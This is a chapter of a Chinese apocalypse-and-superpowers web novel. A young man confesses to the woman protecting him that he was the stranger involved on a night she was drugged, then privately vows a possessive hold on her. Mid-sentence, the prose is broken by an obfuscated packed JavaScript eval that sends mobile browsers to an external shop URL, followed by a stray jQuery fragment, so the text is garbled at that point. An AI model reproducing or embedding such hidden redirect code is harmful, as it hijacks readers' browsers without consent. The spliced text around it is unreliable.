病房里安静了一瞬。
苏十一的语气很随意,像是刚刚想起来一件小事,随口问了一句。
叶眠的身体却僵住了,他坐在病床上,左手放在被子上,指节微微收紧,他没有立刻回答。
沉默了片刻,窗外的风声从缝隙里钻进来,叶眠低下头,看着自己放在被子上的手,手指动了动,又停住了,他感觉到自己的心跳在加速,比之前异能突破时还快,他在想,要怎么说,从哪说起,她会不会觉得他在撒谎。
苏十一没有催他,她靠在椅背上,目光落在他低垂的头顶上,不知道叶眠要说什么。
过了一会儿,叶眠开口了:“那天晚上……我在酒吧打工。”
苏十一没说话,等他继续,不过他这是什么意思呢?
“那是临近过年那段时间,那天酒吧有个学校的同学,也在那边聚会,我在卫生间那边,你就直接冲了进来,”叶眠的声音有些发紧,“你被人下了药,然后你抓住了我,不肯松手,后面的事……我们都清楚。”话说到最后,声音几乎蚊子嗡嗡的声音了。
苏十一看着叶眠,他低着头,头发垂下来遮住了半张脸,她看不到他的表情,只能看到他微微发红的耳尖。
看着他的模样,尘封的记忆碎片终于被轻轻撬动。
那晚的药效太过猛烈,烧得她意识混沌、头痛欲裂,绝大多数画面都早已模糊不清。她唯独记得,慌乱失控之际,她死死攥住了一个人。
一个穿着规整制服、戴着口罩、眉眼干净的陌生服务生。
她当时神志不清,根本无暇细看对方样貌,事后也从未刻意回想、深究过对方身份。
于她而言,那不过是醉酒失控的一场意外,一场乱世来临前、不值一提的荒唐插曲。
她从没想过,那个人会是叶眠。
苏十一轻声开口,语气带着几分错愕的平缓:“所以,那天的那个人……是你?”
一句话落地,叶眠攥着被单的手指骤然收紧,褶皱深深嵌进指腹,力道大到几乎要揉碎身下的布料。
他没有抬头,不敢去看她的眼睛,怕从里面看到嫌弃、尴尬、疏离,看到他最害怕的神色。
空气再度陷入凝滞。
苏十一安静思索了片刻,慢慢收回目光,转头望向窗外。
午后暖阳正好,金灿灿的光线铺满楼下花圃,草木鲜亮,几只麻雀落在冬青丛里,蹦跳嬉闹,一派安稳鲜活的景象。
外界烟火明媚,可病房里的暗流,早已汹涌翻涌。
“你怎么不早说?”
苏十一的声音很轻,听不出责备,也没有怨怼,只是单纯的随口一问。
叶眠这才缓缓抬头,视线小心翼翼落在她干净柔和的下颌线上,始终不敢抬眼直视她的眼眸,声音卑微又忐忑,藏着数年的小心翼翼。
“……我怕,我怕你知道之后,觉得我不是好人,觉得我刻意纠缠,然后不要我了。”
从那场意外的纠葛,到乱世相逢、相依为命、逾越界限、隐秘相伴,他看着她对自己温柔纵容、悉心庇护,看着她待自己特殊却始终疏离清醒,他不敢说,一点都不敢,他怕打碎眼下难得的安稳,怕揭穿过往之后,连留在她身边的资格都彻底失去。
苏十一静静凝视他几秒,看着他泛红的耳尖、紧绷的下颌、满眼的不安与怯懦,心底软了几分。
她起身走到病床前,抬手轻轻拍了拍他的发顶,力道轻柔松散,像安抚一只惴惴不安、满心惶恐的幼兽。
“傻子。”
短短两个字,平淡温和,没有厌恶,没有尴尬,没有一丝疏离的排斥。
叶眠整个人彻底愣住。
他抬眼望她,撞进她平静无波的眼底,那里没有他预想中的所有负面情绪,只有一片坦然的平和。
头顶残留着她指尖的温热触感,浅浅暖意顺着发丝蔓延,熨帖着他慌乱紧绷的心弦。
苏十一收回手,转身走回陪护椅坐下,指尖一动,从随身空间摸出一颗棒棒糖,剥开糖纸塞进嘴里,清甜的果香漫开,冲淡了方才几分沉滞的氛围。
“算了,都过去了。”她语气随意,依旧是那副漫不经心、万事不上心的模样,“本来就是我失控强迫的你,说到底,该不安的人是我。不过话说回来,我们确实挺有缘。”
叶眠听到苏十一的话,低下头,“嗯,”叶眠的嘴角翘了一下,没有让她看到他眼底那些更深、更暗、已经藏了很久的东西。
苏十一站起来把椅子推回原位,“我回去一趟,晚点给你带饭。”她走到门口拉开门,“别胡思乱想,先把伤养好。”
叶眠应了一声,看着她走出病房。
门关上的瞬间,他低下头,看着自己攥紧的拳头,慢慢松开,异能突破后的力量在身体里无声流淌。
他低声自语,音色轻冷,带着无人知晓的偏执狠戾。
“不够。”
“还远远不够。”
他抬眼望向窗外,明媚的阳光斜斜洒落,照亮他半张清隽温顺的脸颊,干净无害。
而另一半侧脸,彻底隐入阴影,覆满沉沉暗色。
从前他怕身份悬殊、怕过往揭穿、怕被她抛弃。
现在他知道,缘分早已注定,羁绊早已生根。
苏十一这辈子,只能是他的。
他要变强,强到彻底护住这份独属于他的羁绊,强到扫清所有窥探、所有觊觎、所有靠近她的人。
叶眠缓缓抬起手,掌心向上,一股澄澈却凛冽的异能气流缓缓盘旋而出,在指尖凝成细碎的绿光。
刚刚突破的阶位彻底稳固,体内原本滞涩的经脉尽数被打通,异能储量、感知范围、爆发力全方位暴涨。
若是放在一天前,面对林舟那种级别的高阶异能者,他只能被动挨打,毫无还手之力,只能眼睁睁看着苏十一为他出头、为他厮杀。
但现在,他已经有了自保之力,甚至有了暗中反击的底气。
可这点力量,在真正的顶层棋局里,依旧渺小得可怜。
沈暮深手握整个京市安
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17687927|201940||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
全区的生杀大权,权势滔天,实力深不可测,一句话就能定下所有人的命运。
白淼淼底蕴深厚、人脉遍布,背后站着整个异能协会,看似落败蛰伏,眼底的报复心思从未熄灭,迟早会卷土重来。
还有无数藏在暗处、虎视眈眈的人,忌惮苏十一的实力,窥探她的底牌,觊觎她身上无人能及的特殊,时时刻刻都想将她拉拢、掌控,或是彻底摧毁。
这些人,每一个都比现在的他更强、更有权势、更有资格站在苏十一身边。
叶眠眼底微光收敛,周身温度骤然下沉,少年清澈的眼眸彻底覆上一层浓得化不开的幽暗。
他不怕对手强,末世乱世,强者为尊,实力永远可以靠自己一步步拼出来、杀出来。
他最怕的,是苏十一生性散漫、随性自由,对谁都淡,对谁都不争,旁人日复一日的刻意靠近、温柔示好,迟早会磨掉她对自己这点独一无二的特例。
可那些人的心思,从来都不纯粹。
他缓缓躺回床上,闭眼静养,看似闭目休憩,实则五感全开,将病房内外方圆百米的动静尽数纳入感知。
突破后的异能感知极其敏锐,走廊里路过的脚步声、远处隐约的交谈声、楼下风吹草木的轻响,无一遗漏。
他在听,也在分辨。
听安全区里关于他们两人的流言,听各方势力的动向,听那些藏在暗处的恶意与算计。
果不其然,没过多久,细碎的议论声顺着窗缝飘了进来,清晰落进他耳中。
“你们听说了吗?苏十一特权文件彻底生效了,不用服役不用考勤,资源随便拿,整个安全区独一份!”
“不愧是能单手碾压白淼淼的狠人,这实力确实配得上特殊待遇。”
“可惜就是太护着她那个弟弟了,我看那叶眠就是个废物,弱得可怜,全程靠姐姐躺赢,凭什么跟着享受顶级资源?”
“谁说不是呢?听说这次冲突就是因为他惹事才闹出来的,最后反倒让苏十一出面摆平,简直是拖油瓶一个。”
“我看沈指挥官对苏十一不一般,不然根本不可能破格到这种地步,说不定两人关系不简单……”
流言蜚语,褒贬不一。
有人敬畏苏十一的实力,有人嫉妒她的特权,有人嘲讽他是累赘拖油瓶,更有人肆意揣测苏十一和沈暮深的暧昧关系。
每一句细碎的议论,都像一根细针,扎在叶眠紧绷的心弦上。
他不介意别人骂他弱、骂他没用。
现在的弱小是暂时的,他总有一天会用实力狠狠打烂所有人的脸。
但他绝不允许任何人随意玷污苏十一,随意揣测她,随意将她和旁人捆绑流言。
苏十一干干净净、随性洒脱,从来不屑于靠人情攀附权贵,她的一切荣光都是自己一拳一拳打出来的。
凭什么要被这些闲人随意编排、肆意抹黑?
叶眠闭着眼,唇角的笑意彻底冷却,眼底的幽暗层层叠加,越来越浓。
拖油瓶?